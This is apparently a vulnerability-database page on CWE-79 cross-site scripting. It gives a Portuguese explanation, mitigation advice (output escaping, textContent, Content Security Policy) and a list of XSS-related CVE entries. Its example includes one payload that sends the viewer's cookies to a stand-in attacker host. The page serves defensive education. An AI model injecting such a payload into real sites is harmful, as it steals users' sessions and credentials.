Fallos del tipo CWE-79

30.224 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-9109HIGHGPTranslate <= 2.31 - Unauthenticated Stored Cross-Site Scripting via REST API Translation StorageEPSS 0.3%CVE-2023-47526MEDIUMWordPress Chartify Plugin <= 2.0.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-30917HIGHStored XSS on Bucket namespace pagesEPSS 0.3%CVE-2025-3752MEDIUMAble Player, accessible HTML5 media player <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via preload ParameterEPSS 0.3%CVE-2024-24834MEDIUMWordPress BEAR Plugin <= 1.1.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-46082MEDIUMScriptcase v.9.10.023 and before is vulnerable to Cross Site Scripting (XSS) in nm_cor.php via the form and field parameters.EPSS 0.3%CVE-2024-12816MEDIUMNOTICE BOARD BY TOWKIR <= 3.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-45879MEDIUMThe file upload function in the "QWKalkulation" tool of baltic-it TOPqw Webportal v1.35.287.1 (fixed in version 1.35.291), in /Apps/TOPqw/QWEPSS 0.3%CVE-2025-8920MEDIUMPortabilis i-Diario Dicionário de Termos BNCC dicionario-de-termos-bncc cross site scriptingEPSS 0.3%CVE-2023-50830MEDIUMWordPress Seos Contact Form Plugin <= 1.8.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-35352MEDIUMA vulnerability has been discovered in Diño Physics School Assistant version 2.3. This vulnerability impacts unidentified code within the fiEPSS 0.3%CVE-2018-25116MEDIUMMyBB Thread Redirect Plugin 0.2.1 - Cross-Site ScriptingEPSS 0.3%CVE-2024-12817MEDIUMEtsy Importer <= 1.4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-22306MEDIUMWordPress Mang Board WP Plugin <= 1.7.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-11756MEDIUMSweepWidget Contests, Giveaways, Photo Contests, Competitions <= 2.0.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-54349MEDIUMWordPress Plain Post plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-53924MEDIUMEmlog vulnerable to stored Cross-site Scripting in links functionalityEPSS 0.3%CVE-2024-29106MEDIUMWordPress Premium Addons for Elementor plugin <= 4.10.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-100383MEDIUMStored i18n XSS in WikiLambda's VisualEditor integrationEPSS 0.3%CVE-2023-52203MEDIUMWordPress CformsII Plugin <= 15.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%